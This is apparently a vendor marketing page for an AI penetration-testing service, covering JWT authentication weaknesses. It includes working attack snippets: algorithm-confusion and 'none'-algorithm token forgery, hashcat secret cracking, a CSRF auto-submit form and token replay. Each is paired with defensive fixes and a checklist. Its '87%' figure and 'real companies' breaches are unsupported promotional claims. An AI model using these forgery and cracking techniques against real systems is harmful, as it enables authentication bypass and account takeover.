Authentication & JWT Pentesting
Your JWT Looks Valid. But Is It Actually Secure?
Here is the uncomfortable truth about jwt based authentication: that token you trust to protect your users might be the very thing that lets attackers in. Algorithm confusion, signature bypass, claim manipulation - the ways to break JWTs are surprisingly simple. And when you fail to properly validate anti forgery token implementations, you are handing attackers the keys to your kingdom.
Why Your JWT Based Authentication Might Be Your Biggest Security Hole
Let me tell you something that might keep you up at night. JWTs have become the default authentication mechanism for modern web applications. You implemented them because everyone said they were the secure, modern approach. Stateless. Scalable. Perfect for microservices. But here is the problem: most developers implement them wrong.
What happens in the real world is this. A developer follows a tutorial, copies some JWT code from Stack Overflow, and calls it done. The application works. Users can log in. Everything seems fine. But buried in that implementation are assumptions that attackers absolutely love to exploit - weak algorithms, missing validations, tokens that never expire, and secrets that are embarrassingly easy to guess.
The pattern is always the same: the JWT library works exactly as documented, but the configuration is dangerously wrong. Traditional scanners cannot catch these issues because the tokens are technically valid. The signature checks out. The format is correct. But the security? Non-existent.
This is exactly why we built PentestMate with AI agents that think like attackers, not scanners. Our agents do not just check if your JWT has a signature - they actively try to break your authentication using the same techniques real adversaries use. And they do it continuously, not just once a year during a scheduled pentest.
Think your application is immune?
PentestMate's AI agents find these flaws in 87% of the apps we test.
What Our AI Agents Look For
Unlike automated scanners that look for code signatures, our agents understand your business logic and test it like a real attacker would.
Algorithm Confusion Attacks
CRITICALTesting for 'none' algorithm acceptance and RS256/HS256 confusion. When servers accept algorithm switching, attackers can forge tokens without knowing the secret key.
Weak Secret Key Exploitation
CRITICALBrute-forcing JWT secrets using common wordlists and rainbow tables. You would be shocked how many production apps use 'secret', 'password', or company names as signing keys.
Token Expiration Bypass
HIGHProbing for missing or ignored expiration claims. If your server does not validate 'exp' claims properly, stolen tokens work forever - even after password changes.
Claim Manipulation Attacks
HIGHModifying JWT payload claims like user roles, permissions, and user IDs. Testing if the server actually validates what is inside the token or just trusts it blindly.
Token Replay and Reuse
MEDIUMTesting if logged-out or rotated tokens are still accepted. When token revocation fails, compromised credentials stay compromised indefinitely.
Anti-Forgery Token Validation
HIGHVerifying that anti-CSRF tokens work correctly with JWT authentication. Testing for missing, predictable, or bypassable forgery protections that leave you open to CSRF attacks.
“JWTs are not inherently insecure, but they are surprisingly easy to implement insecurely. The most common vulnerabilities come not from the specification itself, but from developers who do not fully understand what they are trusting and what they should be validating.”
How Attackers Actually Break JWT Based Authentication
Forget what the textbooks say about JWT security. Let me show you how attackers actually approach your authentication system and why the vulnerabilities they find are so devastatingly simple. These are the exact attack patterns our AI agents replicate when testing your application.
The Algorithm Confusion Attack
This is one of the most counterintuitive JWT attacks. The server uses RS256 (asymmetric encryption with a public/private key pair). The attacker does not have the private key. Yet they can forge valid tokens. How? By exploiting how JWT libraries handle algorithm switching. When a server is configured to use RS256 but the library also accepts HS256, attackers can use the public key (which is, well, public) as the HMAC secret.
# Original token signed with RS256 (asymmetric - private key required)
# Header: {"alg": "RS256", "typ": "JWT"}
# Payload: {"sub": "user123", "role": "user"}
# The Attack: Switch to HS256 and use the PUBLIC key as the secret
# Many JWT libraries will accept this without complaint!
import jwt
import base64
# Step 1: Get the server's public key (often exposed at /.well-known/jwks.json)
public_key = open('public_key.pem').read()
# Step 2: Create a forged token with elevated privileges
forged_payload = {
"sub": "user123",
"role": "admin", # Escalated from "user"
"exp": 9999999999
}
# Step 3: Sign with HS256 using the PUBLIC key as secret
forged_token = jwt.encode(
forged_payload,
public_key, # Using public key as HMAC secret!
algorithm="HS256"
)
# Step 4: Server receives token, sees HS256, uses public key to verify
# Signature matches because we signed it with the same public key!
# Attacker now has admin access.
# Result: Full admin access without knowing the private keyThe fix is simple: never accept the algorithm from the token header. Always enforce the expected algorithm server-side. Our AI agents automatically test for algorithm confusion on every endpoint that accepts JWTs, alerting you the moment a vulnerability is detected.
The 'None' Algorithm Bypass
This one is almost too easy. The JWT specification includes a 'none' algorithm for unsigned tokens. It was meant for trusted environments and debugging. But some libraries accept it in production, meaning attackers can create tokens with any claims they want, no signature required at all.
// Original valid JWT:
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
// eyJzdWIiOiJ1c2VyMTIzIiwicm9sZSI6InVzZXIifQ.
// dBjftJeZ4CVP-mB92K27uhbUJU1p1r_wW1gFWFOEjXk
// The Attack: Remove signature and set algorithm to "none"
// Step 1: Decode the original header
// {"alg": "HS256", "typ": "JWT"}
// Step 2: Change algorithm to "none"
// {"alg": "none", "typ": "JWT"}
// Step 3: Modify the payload to whatever you want
// {"sub": "user123", "role": "admin", "email": "admin@company.com"}
// Step 4: Create new token WITHOUT any signature
const header = btoa(JSON.stringify({alg: "none", typ: "JWT"}));
const payload = btoa(JSON.stringify({
sub: "user123",
role: "admin"
}));
const forgedToken = header + "." + payload + ".";
// Note: empty signature (just a trailing dot)
// Vulnerable server accepts this token as completely valid!
fetch('/api/admin/users', {
headers: { 'Authorization': 'Bearer ' + forgedToken }
});
// Result: Full admin API access with a completely unsigned tokenIf your JWT library accepts tokens with alg: none, you essentially have no authentication at all. Test this by literally removing the signature and sending the token. You would be surprised how often it works. PentestMate's agents run this test against every authenticated endpoint in your application.
Cracking Weak JWT Secrets
HS256 JWTs are only as strong as their signing secret. And here is the uncomfortable reality: most developers use terrible secrets. Dictionary words, company names, sequential numbers, or even just the word 'secret'. All of these can be cracked in seconds with the right tools. Once an attacker has your secret, they can forge any token they want.
# JWT Secret Cracking with hashcat
# First, capture a valid JWT from the target application
# Format for hashcat: header.payload.signature
JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
# Save to file
echo $JWT > jwt.txt
# Crack with hashcat using common wordlists
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Common weak secrets we find in production:
# - "secret"
# - "password"
# - "123456"
# - Company name (e.g., "acmecorp")
# - "jwt_secret"
# - "supersecret"
# - "changeme"
# - Environment defaults like "development_secret"
# Once cracked, forge any token you want:
import jwt
forged = jwt.encode(
{"sub": "admin", "role": "superuser", "exp": 9999999999},
"secret", # The cracked secret
algorithm="HS256"
)
# Result: Complete control over all user sessionsUse secrets with at least 256 bits of entropy (that means randomly generated, not human-memorable). Our AI agents include automated secret strength analysis, attempting to crack your JWT secrets using the same wordlists and techniques attackers use.
Failing to Validate Anti Forgery Token
Here is where jwt based authentication gets really interesting. Many developers think storing JWTs in localStorage protects against CSRF because tokens are not sent automatically with requests. But when you store JWTs in cookies for security against XSS (which is often the right call), you need additional anti-forgery protection. This is where most implementations break down.
// The Problem: JWT stored in HttpOnly cookie for XSS protection
// But now CSRF attacks are back on the table!
// Server sets JWT in cookie:
Set-Cookie: jwt=eyJhbG...; HttpOnly; Secure; SameSite=Lax
// Attack scenario: User visits malicious website while logged in
// Malicious site auto-submits a form to your API:
<form action="https://yourapp.com/api/transfer" method="POST">
<input type="hidden" name="amount" value="10000" />
<input type="hidden" name="to" value="attacker_account" />
</form>
<script>document.forms[0].submit();</script>
// The JWT cookie is sent automatically with the request!
// Attack succeeds if:
// 1. You do not validate anti forgery token on this endpoint
// 2. SameSite=Lax allows POST from top-level navigation
// 3. CSRF token is missing, predictable, or not bound to session
// Proper Defense: Double-Submit Pattern with JWT
// Step 1: Generate a CSRF token tied to the JWT
const csrfToken = crypto.randomBytes(32).toString('hex');
// Step 2: Include CSRF in JWT claims AND as separate readable cookie
const jwtToken = signJWT({ sub: userId, csrf: csrfToken });
res.cookie('csrf', csrfToken, { httpOnly: false }); // JS can read this
res.cookie('jwt', jwtToken, { httpOnly: true }); // JS cannot read this
// Step 3: Client must send CSRF token in header with every request
fetch('/api/transfer', {
method: 'POST',
headers: { 'X-CSRF-Token': getCookie('csrf') },
body: JSON.stringify({ amount: 100, to: 'friend' })
});
// Step 4: Server validates that CSRF header matches JWT claim
if (req.headers['x-csrf-token'] !== decodedJwt.csrf) {
return res.status(403).send('CSRF validation failed');
}When you fail to properly validate anti forgery token implementations alongside JWT auth, you create a false sense of security. The JWT protects the token itself, but not the requests that use it. Our agents test the complete authentication flow, verifying that your anti-forgery protections actually work.
Token Expiration and Revocation Bypass
JWTs are stateless by design. That is their biggest feature and their biggest flaw. What happens when a user logs out? What happens when you need to revoke access immediately after detecting a compromise? If you did not plan for this (and most developers do not), attackers can use stolen tokens until they naturally expire, which could be hours, days, or even never.
// The Stateless Revocation Problem:
// User logs in and gets a JWT valid for 24 hours
const token = jwt.sign(
{ sub: userId, role: 'user', exp: Math.floor(Date.now()/1000) + 86400 },
secret
);
// Later: Attacker steals token via XSS, network sniffing, or log exposure
// User realizes account is compromised
// User changes password
// User clicks "Log out of all devices"
// BUT: The stolen JWT is still valid for the next 24 hours!
// The server has no way to know it should reject this specific token
// JWT validation passes: signature is valid, token is not expired
// Attacks we test for:
// 1. Using tokens after logout
fetch('/api/sensitive-data', {
headers: { 'Authorization': 'Bearer ' + stolenToken }
}); // This still works on most applications!
// 2. Using tokens after password change
// Token was issued before password change
// Should be invalid, but most apps do not track this
// 3. Missing exp claim entirely
const badToken = jwt.sign({ sub: userId }, secret);
// No expiration = valid forever if server does not reject it
// 4. Server ignoring the exp claim
// Token has exp in the past but server does not actually check
// Solutions:
// Option A: Short-lived tokens (15 min) with refresh token rotation
// Option B: Token blacklist stored in Redis
// Option C: Include password version hash in token, validate each requestMost applications have no token revocation mechanism at all. If you cannot immediately invalidate a compromised token, you cannot protect compromised accounts. PentestMate continuously monitors your token lifecycle, testing if expired tokens are actually rejected and if logout truly invalidates sessions.
Still reading? Good. That means you care about security.
Most people would've clicked away by now. Let PentestMate find out if your application has these vulnerabilities - before someone else does.
Stop Reading About Vulnerabilities.
Start Finding Them.
Everything you have read above? Our AI agents test for all of it - automatically, continuously, and without you lifting a finger.
Continuous AI-Powered Testing
Our autonomous agents test your JWT implementation around the clock, catching misconfigurations and vulnerabilities the moment they appear, not months later during an annual pentest.
Attack-Based Validation
We do not just check boxes. Our agents actively attempt algorithm confusion, token forging, and secret cracking, the same attacks real adversaries would use against your production systems.
Real-Time Vulnerability Alerts
Get instant notifications when our agents detect JWT weaknesses or failures to properly validate anti forgery token implementations. Know about problems within minutes, not after a breach.
Start with a $1 trial - full access to all PentestMate AI-powered security testing
Quick Business Logic Security Checklist
Use this as a starting point. If you're missing even one of these, you have a problem.
JWT Configuration
- Enforce algorithm validation server-side (never trust token header)
- Explicitly reject tokens with 'none' algorithm
- Use RS256/ES256 for distributed systems, HS256 only for single services
- Generate secrets with 256+ bits of cryptographic entropy
- Store secrets in secure vaults, never in code or config files
Token Validation
- Validate exp (expiration) claim on every single request
- Check iss (issuer) and aud (audience) claims match expected values
- Verify token signature before reading or trusting any claims
- Implement a token revocation mechanism (blacklist or version tracking)
- Reject tokens issued before the last password change
Anti-Forgery Protection
- Implement CSRF tokens for all cookie-based JWT authentication
- Use SameSite=Strict for session cookies when possible
- Validate Origin and Referer headers as additional defense layer
- Bind CSRF tokens to specific user sessions
- Rotate CSRF tokens after sensitive actions like password changes
Token Lifecycle
- Use short-lived access tokens (15-30 minutes maximum)
- Implement secure refresh token rotation with single-use tokens
- Invalidate all tokens immediately on password change
- Track and validate token issuance time (iat claim)
- Log and alert on suspicious token usage patterns
Not sure if your system passes all these checks? Let PentestMate's AI agents find out for you.
Run Automated Security TestingReal-World Business Logic Breaches
These aren't hypotheticals. These are real companies that got burned by the exact vulnerabilities we've discussed:
Common Pattern: Algorithm Confusion
Attackers forge valid admin tokens using publicly available keysWhat happened: JWT libraries accepting algorithm changes from RS256 to HS256 without explicit configuration
Lesson: Always enforce the expected algorithm server-side. Never allow the token header to dictate which algorithm to use for verification.
Common Pattern: None Algorithm Acceptance
Complete authentication bypass, attackers create tokens with any claims they wantWhat happened: Applications accepting JWTs with algorithm set to 'none' due to library defaults
Lesson: Explicitly configure your JWT library to reject unsigned tokens. Add this check to your automated tests.
Common Pattern: Weak Signing Secrets
Secrets cracked in seconds using standard wordlists, enabling complete session hijacking for all usersWhat happened: Production applications using guessable secrets like 'secret', 'password123', or company names
Lesson: Use cryptographically random secrets with at least 256 bits of entropy. Never use human-readable strings.
Common Pattern: Missing Expiration Validation
Stolen tokens remain valid indefinitely, even after password changes or explicit logoutWhat happened: Servers not validating the exp claim or continuing to accept tokens after logout
Lesson: Always validate expiration claims server-side. Implement a revocation strategy for compromised tokens.
Is Your JWT Implementation Actually Secure?
Our AI agents do not just validate signatures. They attack your authentication like real adversaries would. Algorithm confusion, secret cracking, claim manipulation, expiration bypass, and anti-forgery validation. And they do it continuously, alerting you the moment a new vulnerability appears. Find out if your jwt based authentication can withstand a real attack.
Related Security Tests
IDOR Vulnerability Testing
Learn more
Cross-Site Request Forgery (CSRF)
Learn more
Business Logic Flaws Pentesting
Learn more
Explore more security testing capabilities on our main site.
Back to PentestMate